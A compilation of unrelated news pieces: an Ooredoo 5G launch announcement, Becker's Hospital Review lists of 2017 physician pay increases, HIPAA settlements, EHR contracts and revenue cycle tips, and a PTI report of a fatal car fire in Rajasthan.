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Ooredoos 5G Speed Experience, which was launched in Qatar National Day, is available in select locations, and will offer an extremely high speed and low latency network with initial speeds of up to (and in some cases exceeding) 1Gbps.This is the first time in the world that 5G Speeds have been made available to consumer customers on a live network and using commercial smartphones.Talking about the breakthrough, Waleed Al Sayed, Chief Executive Officer, Ooredoo Qatar, said: We are proud to announce this major milestone near a day of celebration for our great country. This is a first-in-the-world landmark for Qatar, and demonstrates that the Ooredoo Supernet is one of the worlds leading networks. We will continue to work hard to provide Qatar with a world-class infrastructural backbone, in line with Qatar National Vision 2030.Access to Ooredoos 5G Speed Experience requires a special smartphone that has been calibrated to work with the Ooredoo pre-standardised 5G network and Supernet upgrades applied in the selected locations.This is the latest in a long line of technological milestones for Ooredoo, as the company continues to work to be one of the first operators in the world to offer incredible 5G speeds for all its customers.On Qatar National Day in 2016, Ooredoo completed trials for 5G speed and latency, achieving incredible speeds of up to 36 GB per second in their cutting-edge engineering hub - which made it at that time the fastest mobile data service in the world.In May 2017, Ooredoo announced that 10 of its base stations had been equipped with 5G-ready technology, and the company plans to start offering the next-generation speeds to all consumers in 2018, when 5G-ready devices are released.In November, Ooredoo successfully completed testing of 5G Commercial services in partnership with Qatar Airways, and later in the month successfully reached speeds in excess of 1Gbps using commercial devices.Ooredoo is Qatars leading communications company and continues to enhance Qatars mobile, Wi-Fi, and nationwide Ooredoo Fibre networks on the Ooredoo Supernet.
Physician compensation increased 5.1 percent on average nationwide in 2017, yet a few major metropolitan areas saw upticks as great as 16 percent, according to research compiled by Doximity.

The study gathered data from 12,000 physician jobs posted in 2016 and 2017 on Doximity, the largest social network for physicians and advanced practice clinicians.

Doximity analyzed data on 20 metropolitan statistical areas and 15 medical specialties based on the number of job postings on the network in 2016.

To determine compensation growth, Doximity used its network's self-reported compensation surveys of about 40,000 full-time, licensed U.S. physicians who practiced at least 40 hours per week between 2016 and 2017.

Here are the 10 metro areas where physicians saw the highest pay raises, with compensation growth by percentage.

1. San Francisco (16 percent increase)

2. Indianapolis (14 percent increase)

3. Los Angeles (13 percent increase)

4. Philadelphia (11 percent increase)

5. Milwaukee (10 percent increase)

6. New York City (8 percent increase)

7. Minneapolis (8 percent increase)

8. Pittsburgh (8 percent increase)

9. Seattle (7 percent increase)

10. Boston (7 percent increase)
The HHS Office for Civil Rights reported nine HIPAA settlements during 2017, resolving allegations against health systems, insurance providers and remote monitoring companies.

Here are the nine fines, beginning with the costliest settlement deal.

1. Memorial Healthcare System pays $5.5M HIPAA settlement

Hollywood, Fla.-based Memorial Healthcare System reported to HHS that unauthorized employees had accessed the protected health information of 115,143 individuals and disclosed it to an affiliated physician office staff. The accessed data included patients' names, Social Security numbers and dates of birth.

2. Children's Medical Center of Dallas pays $3.2M for lack of HIPAA compliance

In July 2013, Children's Medical Center of Dallas filed a report that underscored the theft of an unencrypted laptop from its premises. The laptop contained 2,462 patients' ePHI and was stolen between April 4, 2013, and April 9, 2013.

3. CardioNet agrees to $2.5M HIPAA settlement

CardioNet reported the theft of a workforce member's laptop containing data related to 1,391 individuals in January 2012. The company provides remote mobile monitoring to patients at risk for cardiac arrhythmias, marking the first HIPAA settlement involving a wireless health services provider.

4. Memorial Hermann agrees to $2.4M HIPAA settlement

In September 2015, a patient presented a reportedly fraudulent identification card to office staff at one ofHouston-based Memorial Hermann Health System's clinics. Following the incident, Memorial Hermann issued a news release, which included the patient's name in its headline.

5. Puerto Rico life insurance company to pay $2.2M HIPAA settlement

On Sept. 29, 2011, MAPFRE filed a report with the OCR claiming a USB device was left in its IT department unguarded overnight and was subsequently stolen. The USB device contained the ePHI of 2,209 patients, including their complete names, dates of birth and Social Security numbers.

6. Presence Health to pay $475k HIPAA settlement fine

On Oct. 22, 2013, the health system discovered operating room schedules were missing from the Presence Surgery Center at Joliet, Ill.-based Presence St. Joseph Medical Center. The schedules contained personal information of 836 patients, including names, birthdates and types of procedures.

7. Metro Community Provider Network agrees to $400k HIPAA settlement

Englewood, Colo.-based Metro Community Provider Network, a federally-qualified health center, filed a breach report Jan. 27, 2012 after a hacker accessed employee email accounts and obtained 3,200 individuals' PHI. An investigation found MCPN failed to conduct a risk analysis until mid-February 2012.

8. Mount Sinai St. Luke's agrees to $387k HIPAA settlement after 'careless' disclosure of HIV status

In its investigation, OCR found a staff member from New York City-based Mount Sinai St. Luke's inappropriately faxed a patient's PHI to his employer, rather than delivering it to a post office box. OCR also discovered the center was responsible for a related privacy breach nine months prior.

9. Center for Children's Digestive Health agrees to $31k HIPAA settlement

FileFax stored records for the Park Ridge, Ill.-based Center for Children's Digestive Health, some of which contained protected health information. Although the center began storing records with Filefax in 2003, neither party could produce a signed business associate agreement prior to Oct. 12, 2015.
By PTI: Jaipur, Dec 19 (PTI) Two women were today charred to death and the driver was injured when the car they were travelling in caught fire in Chitalwana police station area of Rajasthans Jalore district, police said.

The car engulfed in flames when the occupants were on their way home in Sisawa village after attending a marriage function, Chitalwana SHO Teju Singh said.

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The deceased were identified as Daria Devi (25) and Mali Devi (27), he said.

The driver, Deepa Ram, could save himself only after breaking the cars window. He, however, sustained burn injuries and was admitted to a hospital.

While the immediate cause of the fire could not be ascertained, police suspect it might have been triggered by the gas kit fitted with the car.

The bodies of the deceased have been kept in mortuary for post mortem, they said. PTI AG CK

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Here are 10 of the costliest EHR contracts and go-lives reported by Becker's Hospital Review during 2017.

1. VA to reportedly pay $10B for Cerner EHR contract

The U.S. Department of Veterans Affairs and Cerner agreed to an EHR contract in the range of $10 billion, according to a source familiar with the matter. However, the VA and Cerner have not yet signed a finalized contract.

2. Mayo rolls out 2nd phase of Epic install

Rochester, Minn.-based Mayo Clinic began the second phase of its $1.5 billion transition to the Epic EHR, rolling out the system at Mayo Clinic Health System sites in Minnesota Nov. 4.

3. UMass Memorial Health Care invests $700M in Epic system

Worcester, Mass.-based UMass Memorial Health Care rolled out an Epic EHR system in October. The $700 million investment will be paid out during the next 10 years.

4. Canadian health system signs $459M deal for Epic EHR

Edmonton, Canada-based Alberta Health Services, the sole health authority for Alberta, signed a $459 million agreement with Epic to deploy its EHR system in September.

5. UVM Health Network to invest $112M in Epic EHR rollout

Burlington-based University of Vermont Health Network in January filed a certificate of need with a state regulatory board to implement a $112.4 million Epic EHR system.

6. U of Illinois Health to replace legacy EHR with $101M Epic system

The Urbana-based University of Illinois Health board of trustees in September voted to move forward in the contracting process for a $101 million Epic EHR implementation.

7. Meritus Health invests $100M in Epic rollout

Hagerstown, Md.-based Meritus Health will invest nearly $100 million during the next five years to transition its EHR to Epic.

8. Cerner upgrade causes delays at Banner's Tucson hospitals, clinics

Banner Health's Tucson hospitals and clinics experienced problems such as patient delays in November, which reportedly stemmed from a $45 million EHR upgrade that went live Oct. 1.

9. Lawrence + Memorial Hospital goes live on $30M Epic EHR

New London, Conn.-based Lawrence + Memorial Hospital went live on its Epic EHR Jan. 20. The total cost of the Epic implementation was approximately $30 million.

10. MultiCare invests $25M in Epic EHR

Tacoma, Wash.-based MultiCare Health System in October invested $25 million in a new Epic EHR to be implemented next year at its Spokane, Wash., locations.
Here are sixty-five revenue cycle management tips from industry experts, published by Becker's Hospital Review in 2017.

1. "There needs to be increased transparency into what the status of a claim is so companies can act on the most relevant, verified information available. So if the parties expect this claim to go through more review because it's a complicated reimbursement, then they can act with full assurance on the status of the claim at any given point, knowing the other parties have the same information. It's really about having the right information about how to manage your revenue cycle based on where all of your claims are at any given time."  Emily Vaughn, head of accounts at Gem

2. "Every patient accounting system and every hospital defines metrics in slightly different ways. Don't assume the figure means what you expect it to mean. Understand what goes into the number and what it means in context. Examples of this include: a stock discharged not final billed report might include accounts with lag, or only post lag; or accounts receivable or accounts receivable days calculations might be skewed by inclusion or exclusion of credits."  Peter Angerhofer, a principal at Colburn Hill Group

3. "Most problems will only get worse and require more time/effort/resources to fix as they progress through your collection process. For example, getting an authorization right at registration might be difficult, but asking patient financial services to get a retro-authorization  after a denial  may be impossible."  Peter Angerhofer

4. "Every CEO, CFO should know where they are financially and run their practice as a business. It's not about seeing more patients, it's about being more efficient."  Justin Barnes, partner and chief growth officer with iHealth Innovations

5. "There needs to be a process by which the inpatient, outpatient and physician revenue cycles can communicate with one another. It does not necessarily mean they need to be part of the same infrastructure and that you need to have revenue cycle staff that can do both professional and hospital-based coding, but it does mean that they need to have the ability to connect with each other on a regular basis."  Christopher Kerns, a leader of Advisory Board's flagship research membership program, the Health Care Advisory Board

6. "Don't think of a benchmark as the ultimate measure of your revenue cycle performance  often they are set at the 75th percentile, meaning plenty of people are doing far better. Benchmarks are fine as a yardstick, but they should be a starting point, not an end point. Seek out the barriers which limit organizational performance and address them head on. Don't accept the standard ... set the standard."  Peter Angerhofer

7. "One challenge to recovery of AR is that while many accounts which are uncollected may be older than the contractual timely filing and appeals limits, they may still be recoverable. Diligent analysis of these low balance claims will divide those accounts into two buckets: uncollectible, or "deadwood," and collectable opportunities."  Jeff Means, a principal at Colburn Hill Group

8. "Twelve to 18 months before go-live on a new revenue cycle patient accounting system, organizations gather data for build and testing. Analysis includes cost centers, locations, reports, charge edits, claim edits and claim form logic that will be replicated in the future system. As the initial collection is complete, how will your organization communicate system changes and testing criteria to the responsible team?

"It is important that a plan be in place to ensure modifications to the existing system are added to the build and test scenarios for the new system. Failure to communicate and test changes effectively could have a significant impact on your revenue. Some organizations maintain a build and testing tracker for modifications. Develop a method to capture changes, additions or tweaks and related testing scenarios to ensure consistent revenue stream after go-live."  Aaron Wall, senior healthcare consultant at Hayes Management Consulting

9. "As guidelines on medical necessity continue to tighten their grip on providers, it is important to provide continuous clinical documentation education to physicians. Coders serve as the bridge between rendered services and payments issued to the provider. Clear, concise and complete clinical documentation will ultimately reduce denials and cost-to-collect."  Nick Rogers, director of accounts receivable at the Shared Services Center-Sarasota (Fla.)

10. "Recognize the value in collecting a very large volume of low balance accounts, but adopt an intelligent, organized approach to that effort. It is critical to ensure you don't sacrifice  even periodically  the collection opportunity on your high dollar accounts to work a very large volume of low balance accounts."  Jeff Means

11, "Hospitals need to track deposits that are split by the various patient accounting systems and general ledger accounts where the cash actually belongs. This quickly highlights any unposted or unreconciled amounts, allowing staff to resolve those exceptions quickly. [Team members should] log batch-posted data in real-time as part of posters' workflow. The team posting the cash and reconciling the bank account(s) should leverage the same application."  Tyler Kurasek, a principal with Colburn Hill Group

12. "Maintaining a routine allows a more consistent application of the posting data. If you track individual deposition transactions, this forces accountability at the transaction level, not by day or month. It's essential to match depositions with batch and transaction files from your patient accounting system. This reduces the many-to-many relationships resulting from the complex posting world in which most providers operate."  Tyler Kurasek

13. "Knowing the composition of each deposit type adds much-needed transparency to the reconciliation process. Map each payment to the bank, capturing all points of payments submitted for deposits. Identify the source of every deposit, and whether payments are being rolled into large deposits; by reducing the number of deposits that are grouped together, it allows for easier reconciliation."  Tyler Kurasek

14. "Track your clean claims rate daily. Make it a part of regular communication with billing staff and with leadership. Celebrate improvements and then acknowledge problems as they arise to create an actionable plan, so the problem becomes less of an issue. In addition to logging the CCR daily, other metrics to watch include daily field errors; daily claim submission; what is returned from the clearing house; rejected claims  ones that never cleared the editor; and Medicare T-status claims and payer rejection reports."  Sara Roberts and Jessica Martin with Colburn Hill Group

15. "The proper use of a contract management system can make a difference of at least 2 percent to 3 percent net revenue. Thus, the proper use of a contract management system should be considered "mission critical," from a financial perspective, but it often does not receive the attention it deserves. Limiting the focus to only recovered amounts neglects the overall purpose and tends to favor only mistakes associated with a relatively low volume of high balance accounts while allowing a high volume of potentially obscure and relatively low balance accounts to remain with balances due. This mentality makes heroes out of the contract management and recovery team but does little to assure revenue integrity. The use of metrics with contract management helps assure all accounts receive appropriate attention and that the hospital gets paid correctly."  Roger Shaul, president of PMMC

16. "Providers have been burdened and overwhelmed by the consent requirements for auto-dialing to mobile phones. The clarifications to Telephone Consumer Protection Act have added a need for additional resources  money, technology, employees, time. Otherwise, providers are at risk of non-compliance. Further, patients may revoke consent at any time, which may leave the provider unable to communicate with the patient verbally.

In order to comply, a revenue cycle billing system should have separately identifiable fields to track mobile vs. landline phone numbers and consent vs. revocation, and all of this information must pass to any third party who uses the information to establish patient contact. An investment in robust, call center technology that drives right-party contact productivity will minimize your compliance risk while increasing the volume of successful, legal patient connections so that patient pay conversations can continue."  Terry Reinsager, vice president of technology at MediRevv

17. "When you look at profitability and try to understand how well you're doing, if you can ensure a claim goes out cleanly and you don't have to send it a second time, not only are you going to expedite the collections received  you're going to reduce the amount of time and cost spent on collecting the proper payment for that claim."  Nicole Davis, senior vice president of channel management at IKS Health

18. "AR is a verb. Accounts receivable is an "action" word. If we expect performance improvement, then we must constantly measure and then actively move. Effective revenue cycle reporting should be developed not only to monitor our current success, but to manage it to the next level."  Luanne Yeley, consulting executive for The Halley Consulting Group

19. "Coordinate with managed care contracting and put together a detailed list of the managed Medicaid plans that are contracted with your health system and the associated plan codes to select during registration. Build a training package outlining which payers are contracted, what their insurance cards look like and what services require special attention. This list needs to be maintained quarterly at a minimum."  Jeff Means and Sara Roberts

20. "Recent healthcare trends have made it imperative that healthcare organizations drive revenue and accelerate cash flow in a sustainable way. Yet, relying on a number of different partners to manage singular aspects of the revenue cycle  as is status quo for many healthcare providers  invariably results in a lack of standardization across the systems that triggers billing bottlenecks, slows cash flow, suboptimizes revenue yield and impairs quality of care.

"Consider bringing on a single vendor that takes a holistic approach to the revenue cycle  incorporating solutions that span the entire process from patient access to payment resolution. This way, you'll eliminate the administrative burden associated with dealing with multiple vendors and will be assured that every component is optimized and plays well with the next, while minimizing silos."  Steve Huddleston, president and chief client officer at nThrive

21. "Nationally there are very few billing editors and regionally there are even less. Ensure your claims editor is configured to handle managed Medicare and managed Medicaid claims as their own claims class. Simply following the commercial claims edits or even just the Medicare or Medicaid edits is not sufficient. Often edits need to be run in a specific sequence to ensure the right outcome is achieved on the final bill."  Jeff Means and Sara Roberts

22. "Managed Medicare and managed Medicaid tend to have significantly higher rates of initial denials (remittances denying line items or entire claims) than commercial or government payers. Tracking these denials in detail is critical. Build a denials management scorecard and a cross-functional team to implement process changes to prevent denials in the future."  Jeff Means and Sara Roberts

23. "The healthcare industry is complicated enough without having to wonder if your revenue cycle management company is putting your own business first. When choosing a RCM partner, be sure to consider how the company is bound to the interests of a payer or provider system. Only an independent partner will be able to provide unbiased guidance and act as an advocate on behalf of its clients."  Sloan Clardy, chief strategy officer for nThrive

24. "Payers are unlikely to send a check if you haven't sent a bill  look for all of the places a backlog of claims might be hiding. Focus effort on unbilled categories, particularly those within your control. Billing editor queues are a good place to start, but look at other places like Medicare return to provider reports, or claim form edits within the core system."  Peter Angerhofer

25. "If hospitals want to improve their collections, it is imperative every patient is asked prior to or at the time of service for a copay, deductible or coinsurance. There tends to be a myth in healthcare that patients don't want to pay their bills. In reality, three out of four patients are willing and able to pay, they just need to be asked. Hospitals need to be transparent and upfront with patients. This will not only increase collections, but patient satisfaction as well."  Becky Kinsella, client success manager at Craneware

26. "The key to reducing unnecessary medical costs and adverse outcomes lies in understanding how to best manage your patient population. Payers and providers should invest in a shared platform where the input of clinical and claims data can be leveraged to identify gaps in care and cost-saving opportunities. Cost efficiencies identified through better collaboration should yield better results in value-based contracting initiatives."  Bruce Carver, associate vice president of payer services at MedeAnalytics

27. "Effective revenue cycle management is only attainable when healthcare organizations have a full view of their patient and operational data. Finance departments cannot wait for IT to provide detailed reports, or spend countless hours manually pulling data from EMRs, 835 and 837 remittance and other files. Yet that's what is happening at organizations across the country every day. Instead, by using self-service data preparation and analytics solutions, finance teams can easily unlock hidden data to better manage cash flow, see revenue across service lines, drill down into claims, review aging claims and identify gaps in the revenue cycle process. In minutes rather than hours or days, individuals can determine where corrections need to be made to recapture potential lost revenue."  Frank Moreno, vice president of product marketing at Datawatch

28. "If someone is self-pay, or if someone has been identified as having insurance on a high-deductible plan, offering things like the ability to store their credit card or bank account information to process an automatic and flexible patient-centric payment plan is vitally important."  Ric Sinclair, vice president of product at ZirMed

29. "Chronic care management services can be provided by clinical staff (e.g., a nurse or medical assistant) under 'general' supervision versus 'direct' supervision so the billing provider does not need to be on the premises when these services are performed. It is important to ensure that clinical staff performing these services accurately track all the time spent performing the services. For example, if a nurse spends five minutes playing phone tag prior to contacting the patient ... that five minutes counts toward the 20 minutes needed to comply with the billing requirement. Note, this change also gives the RHC/FQHC the option to outsource CCM services."  Randy Buchnowski, network executive for The Halley Consulting Group

30. "A true RCM partner will do more than a traditional 'vendor' would when it comes to your revenue cycle. Rather than simply addressing the issues that you are aware of, they will act as a strategic partner, using their industry expertise to analyze trends and identify repetitive or outlying issues that you likely didn't even know were there. The savviest partners will aim to fully understand your business processes and be able to pinpoint the root business issue and identify actionable areas of improvement within your existing frameworks, enabling you to work smarter."  Sloan Clardy

31. "The rules change, staff changes, [RCM] system changes  they all can impact quality of claims that go out. So making sure you're sending out compliant bills is everyone's mission, but it's complicated and can go wrong without any visibility from people managing those departments. If you don't look, you just don't know."  Karen Bowden, executive vice president of revenue integrity operations at Craneware

32. "The front office holds the keys to preventing the most frequent causes of denials, including ineligible/uncovered services, failure to obtain prior authorization, lack of medical necessity, incomplete/inaccurate patient demographic information and services covered by another plan or payer. Nearly all eligibility-related information can be uncovered and conrmed prior to the time of service  by leveraging effective and accurate patient eligibility verication technology which can save your staff time and increases their effectiveness, as compared to manual methods. Even if all of the necessary patient information isn't veried ahead of time, it can be quickly veried or amended as part of the check-in process when the patient arrives  so that the patient knows exactly what to expect, and so that you maximize the likelihood of the most accurate and up-to-date information heading downstream to your coders, billers, documentation specialists and others involved in your RCM workows."  Ryan Feldt, manager at ZirMed

33. "Although many may see the IT department as the owner of an initiative like MACRA, true progress can only be achieved from a cross-departmental collaboration among financial, clinical and IT departments. Financial leaders serving on this committee should be responsible for managing the organization's reporting path, including working with clinical leaders to select the appropriate program measures under either the APM or MIPS track. After all, these program measures are critical in charting the organization's path for quality reimbursement opportunity; it's imperative for an organization to select the measures it can meet most easily. By taking a key role in MACRA initiatives, financial leaders can help their organizations maximize reimbursement and prevent penalties in future years."  Jonce Smith, vice president of revenue cycle management at Stoltenberg Consulting

34. "Medical practices face continued operational, financial and regulatory challenges, requiring sound revenue cycle management to maintain  and ideally improve  patient satisfaction, cash flow and overall business performance. The process of managing your clinic's RCM starts before the patient visit and ends when there is a zero-balance owed to the physician. As simple as this sounds, every physician knows from experience what complications and stress the collections process can put on time and resources. This is only further intensified with the new MACRA and MIPS.

"Fortunately, with today's advanced technology, there are platforms available to not only help keep physician's practices on track for success, but also improve overall patient care."  Thomas Schildmeyer, vice president of RCM strategy and development at Modernizing Medicine

35. "With pending price cuts to the Medicare laboratory outpatient clinical laboratory fee schedule set to begin in 2018, hospitals can expect to see a 12 percent decline in reimbursement for laboratory testing that is reimbursed under the CLFS. While organic growth can mitigate this loss of revenue, other forward-looking strategies to improve laboratory outpatient collections include effective front-end tools, such as the elimination or reduction of manual billing for new tests not created in the appropriate information technology systems (i.e. laboratory information system, patient accounting system, etc.). Manual orders routinely are priced incorrectly, have incorrect or missing diagnosis codes, are assigned inaccurate CPT codes and are often non-covered or denied by health plans.

"Other areas of focus should be on laboratory claims that have been denied by payers. While the value of a laboratory encounter can be less than $50, the sheer volume of laboratory claims denied can be material to overall net revenue. Many hospitals have low dollar thresholds for automatic write-offs that could mask opportunities for enhanced laboratory collections."  Jeffrey Myers, vice president of consulting for Accumen and its subsidiary Chi Solutions

36. "Perform the work in a timeframe that will result in cash before your deadline. If you are working toward an end of month, end of quarter or end of year deadline, think about payer processing times and how they impact the timing of your efforts. Commercial payers that pay in 30 to 45 days require activity well in advance  focus there first, before moving to Medicare or other payers that process in 14 to 21 days."  Peter Angerhofer

37. "Quality care is increasingly tied to healthy revenue through accurate documentation. This contributes to efficient cash flow and optimizes claims processing from payers that are considering factors beyond traditional length of stay. As insurers turn more toward a Medicare-based, Medicare Severity-Diagnosis Related Group payment model, incomplete and inaccurate documentation can result in lower payments. The spike in the growth of ACOs, also based on the hierarchical condition category payment model similar to the Medicare/DRG payment model, is also spurring the need for more accurate and thorough coding."  Dexter D'Costa, MD, senior director of clinical documentation improvement at Conifer Health Solutions

38. "It's essential to educate physicians on the importance of their role in serving as an advocate of their patients' financial resources, as well as the hospital's. The appropriate level of care is best advocated by undertaking a physician-to-physician review. When payers are reluctant to pay for a specific level of care or procedure, the hospital's physician advisor should engage the patient's specialty physician in a peer-to-peer review. This process ensures that critical, patient-specific information is known and documented."  Theresa Brandon, managing director of Novia Strategies

39. "Many healthcare provider organizations unknowingly fail to bill for 10 percent to 15 percent of their inpatient professional services, leaving a lot of money on the table. One way to remedy the problem is to reconcile physicians' notes with the charges submitted on a regular basis. Because this can be a tedious and time-consuming process if done manually, automation of the task should be a priority for providers with a significant portion of their services rendered in the inpatient setting. This will undoubtedly yield significant dividends."  Paul Brient, CEO of PatientKeeper

40. "To ensure every collectible dollar is received, provider enrollment must become an integral part of the revenue cycle process. Best practices should include regular payer audits to validate provider participation status, rigorous payer application follow up, monitoring of licenses and expiring documents, Council for Affordable Quality Healthcare re-attestations and re-enrollments. Furthermore, understand your at-risk revenue against your open enrollments. These are charges billed by providers when their enrollment status is in-process. In-process enrollments for payers with the highest at-risk revenue should be managed with the highest priority."  Patrick Doyle, senior vice president of Newport Credentialing Solutions

41. "As the portion of the medical bill paid by patients rises, more and more patients will struggle. That's why it's crucial that providers respond with immediate assistance, making it simple and easy to set up affordable payment plans which not only alleviate stress for patients, but also ensure that your organization gets paid in full. The best approach is to have an automated system for setting up and managing payment plans which allow for automatic deductions from the patient's bank account or credit card. We recommend patient payment systems that assist staff in setting up payment plans for patients while onsite as well as systems that allow patients to initiate and set up their own plans in a self-service capacity, transforming patients into empowered consumers."  Dustin Hamilton, director of product at ZirMed

42. "Organizations can instead [of employee layoffs] elect for a natural migration phased over a period of time and receive more meaningful work from the employees they retain.

"This migration could play out in several ways. To start, perhaps your RCM partner picks up all growth from your new physicians or any acquisitions your organization makes. Simultaneously, should you have attrition in your workforce, you can avoid backfilling staff  saving you downtime, recruiting fees and ultimately a higher salary and benefits for that employee  by moving the work immediately to your partner. Another opportunity is for your partner to work aged accounts receivable or claims that your existing team doesn't have resources or time to work.

"What's more, as your relationship with a competent partner grows and you're beginning to see the cash wins they bring to the table, you can start to rededicate your existing employees to new tasks, putting them to work at the top of their skill set. Helping your employees refocus their workflow can improve the patient experience, financial strength and better align your organization. This might include a deeper focus on patient outreach, pre-authorizations and improving practice quality metrics, which all impact reimbursement. It's a win-win because you now have two sets of skilled team members focused on improving practice revenues. In our fee-for-value future, organizations that get this work right are the ones that will remain."  Leonard Wenyon, vice president of solutions at IKS Health

43. "As patient responsibility for healthcare costs continues to rise, offering payment plans (either self-service or through a financial counselor) is a well-established convention that many healthcare organizations utilize in order to provide as much flexibility as possible to their patients. However, we've found that in many cases, once rules and term options are set, they are forgotten and rarely changed, especially on the self-service front.

"A fixed sliding scale taped to the side of a financial counselor's desktop is outdated and ineffective. It's important to understand how your patient population is responding to the options that you've given them (whether it's payment plans or any other payment vector) and be able to effectively use that data to quickly adjust if necessary. We recommend utilizing a system that not only services your core revenue cycle needs but also continually monitors key metrics to automatically adjust and optimize itself to best fit the needs of your patient population."  Jason Kuo, product manager at Patientco

44. "In addition to collecting copays at in-person visits or during a pre-visit, it's possible to educate patients about estimated charges related to coinsurance and provide the patient with insight on meeting deductibles. An effective patient estimation application can help predict the patient's total financial responsibility based on insurance coverage, plan design, type of encounter and procedure information."  Dustin Hamilton

45. "To make sure that your organization is quickly paid what it is owed, make sure that claims are coded right the first time  a task that has become more challenging since the advent of ICD-10, which has over 68,000 coding options compared to the 13,000 ICD-9 codes. Look for a set of automated coding tools that integrate with your claims software to ensure compliance with local coverage determination and national coverage determination regulations. These systems also allow you to search within specific sub-sets so only codes relevant to your practice or organization appear in search results."  Dustin Hamilton

46. "Successful issue tracking ... can help hold your staff accountable as well as track progress of tasks during a project. When documenting all issues you can prioritize while ensuring the issue does not fall through the cracks. Formal documentation shared with all parties keeps everyone in the loop and on the same page, including who reported the issue, why it is considered an issue and who it impacts.

"Issue tracking can be handled a couple different ways, including using a commercial software package that assigns a ticket number or using an Excel spreadsheet. In order to be effective, you will need to ensure that all vital pieces of data are collected so you can track and monitor progress, prioritize and identify next steps and have a communication tool. Communication is key as you want to ensure all parties can review to understand the issue, status and responsible party.

"Issue tracking must be reviewed with all parties involved on a regular basis to ensure issues are reprioritized and resources are allocated properly to meet all targeted due dates. The Issues List is a tool you need to communicate and hold people accountable so you can move issues to completion to accomplish the ultimate goal of the project.

"By effectively tracking your issues, you can improve your revenue cycle by prioritizing the issues with the largest impact on fiscal management, revenue cycle processes and workflows and ensure personnel are held accountable to meet target dates and goals."  Cynthia Ethier, senior healthcare consultant of revenue cycle transformation at Hayes Management Consulting

47. "Historically, clinicians have been involved primarily in the inpatient mid-cycle arena to support the resolution of payer denials. With more robust technology being used to manage the revenue cycle and the increasing numbers of payer onsite nursing staff, expanding the involvement of hospital clinical staff is crucial to securing agreement on approved days and level of care. Engaging clinical staff during the pre-authorization process decreases risk of rework related to incorrect or insufficient documentation in support of authorization. Ensuring that care management is communicating daily with the onsite payer nurse to confirm approval of services reduces the risk of underpayment or late denial notification. Matching the hospital's internal skill set with those of the payer-reviewers allows critical sharing of clinical information and real-time resolution. This investment of skilled clinical resources improves the efficiency of revenue cycle processes and reduces the risk of write-offs."  Theresa Brandon, managing director of Novia Strategies

48. "Write-off volumes and dollars are often symptoms of ineffective or non-existent processes and should be used as a signal and opportunity to improve operations. However, unless the codes are used accurately and consistently applied, staff may be deployed on lengthy investigations that do not resolve underlying issues. Limit access to write-off codes to well-trained team members. Engage them in discussions on recent examples of the use of various codes. These conversations will likely be enlightening to all involved. In addition, conduct reviews of write-offs and the underlying situations to determine if the codes are being used correctly by all team members. Some of the most commonly misused codes include untimely filing and contractual adjustments, which too frequently contain avoidable write-offs. Ensuring that your write-off data is accurate before using it to investigate potential process improvements will result in more effective use of staff resources."  Theresa Brandon

49. Payer "contracts have become increasingly complex and require close review to ensure payer expectations can be met. Sharing all language changes with key stakeholders provides the organization an opportunity to gauge whether an addendum is 'just semantics' or necessitates a different level of interaction with the payer. Maintaining and systematically updating and sharing a payer matrix provides an excellent, quick reference for frontline staff. Including the top 15 to 20 payers will provide frontline staff with the knowledge needed to best support the revenue cycle. To further equip staff with the necessary tools to enhance reimbursement, focus on providing the most critical aspects of the contracts  reimbursement type, special provisions, stop loss/outlier payment, timeframe for notification and appeals."  Theresa Brandon

50. "Often denials come back with generic coding explanations that can lead to incorrect assumptions about why claims were denied. To keep it from happening again, trace claims with the same reason codes and do root-cause analyses to find the true reasons for denials and add custom medical claims edits or place existing edits earlier in the appropriate system workflow. You may also need to apply modifiers not only in the edits but in the clinician's workflow or with the case management team as they identify services rendered for the claim. Each of these scenarios requires consistent and timely problem-solving to keep edits up to date and claims moving toward adjudication."

Additionally, "denials management and resolution are time consuming and results don't come overnight. Once a root cause is identified, it can take weeks of follow-up to correct the internal issues that led to the denial. A knowledgeable, dedicated mitigation team; current technology; a sound strategy; and constant attention are essential for a robust denials resolution process. If your teams aren't robust enough to handle these tasks on top of their everyday role, consider outsourcing to an experienced partner who can help establish medical billing benchmarks, reduce backlogs, identify root causes and augment your revenue cycle team."  Kamron Lachney, vice president of hospital operations for Change Healthcare

51. "Many hospitals and practices ignore the significance of a strong front end. My motto has always been, 'If you do things right on the front end the first time, you won't need a back end.'

"By educating registration staff and giving them the tools to be successful, you can reduce the rejections and denials due to registration errors.

"Verifying insurance eligibility not only confirms the patient is covered by the carrier, but can also provide accurate billing data such as certificate or group number. Providing a registration hotline for registration staff to your central business office to address questions can prevent staff from having to guess when they are unsure how to resolve a front-end registration issue.

"Training registration staff on the system, insurance products and process can reduce rejections and denials, and verifying insurance eligibility while providing a registration hotline can ensure you are on your way to a clean front end while reducing one of the most preventable reasons for claim rejection or denials. Clean claims are an effortless way to reduce your accounts receivable days and enhance your revenue cycle." Cynthia Ethier

52. "We all know that people look at their billing statements, which we estimate have an open rate of 95 percent or higher for existing customers. So use the prime real estate on those bills to add marketing messages and educational information to improve customer engagement and create stronger relationships. One eye care network, for example, includes the dates, locations and fees for its educational seminars. Or send heart patients information about cardiac-related wellness programs in their billing statements."  Bryan Ten Broek, vice president of business development at Nordis Technologies

53. "In healthcare today, one in five claims is denied or delayed and a startling 90 percent of those denials are preventable. Yet, most healthcare organizations still focus on appealing denials rather than addressing the root cause of the issues so they can avoid them.

"To implement a denial prevention strategy, health systems must take a multipronged approach. One key piece of that strategy is a renewed focus on verifying patient eligibility. The vast majority of denials  as much as 75 percent  are the result of problems with patients either being ruled ineligible or not covered for certain services. It only takes a small error, or one missing piece of information, to turn a legitimate claim into a denial. Manual approaches to verify eligibility and coverage of services during scheduling and registration processes are time-consuming and laborious, often requiring multiple phone calls or logging in to a payer's website. Even if all the information is obtained, if it is entered incorrectly into the system it can still result in a denial. Eligibility verification technology can solve these issues, ensuring a patient is eligible for all the intended services before they are provided  right up to the time of check-in. Automating the information-gathering process ensures the patient and service data is entered accurately, without the risk of introducing human error. By sending quality information to the back-office staff, the organization can ensure claims are as clean as possible, reducing denials and the administrative burden of attempting to fight them later."  Dustin Hamilton

54. "If a provider is not properly enrolled, they will not get paid. A participating and nonparticipating analysis is the process of validating the participating status of each provider across all plans, locations and tax IDs. This analysis is critically important in that it creates a baseline of who your providers are enrolled accurately with  and who they are not. By establishing an enrollment baseline and identifying which providers are not enrolled with your plans, you can take proactive steps to enroll them correctly to avoid lost revenue."  Patrick Doyle

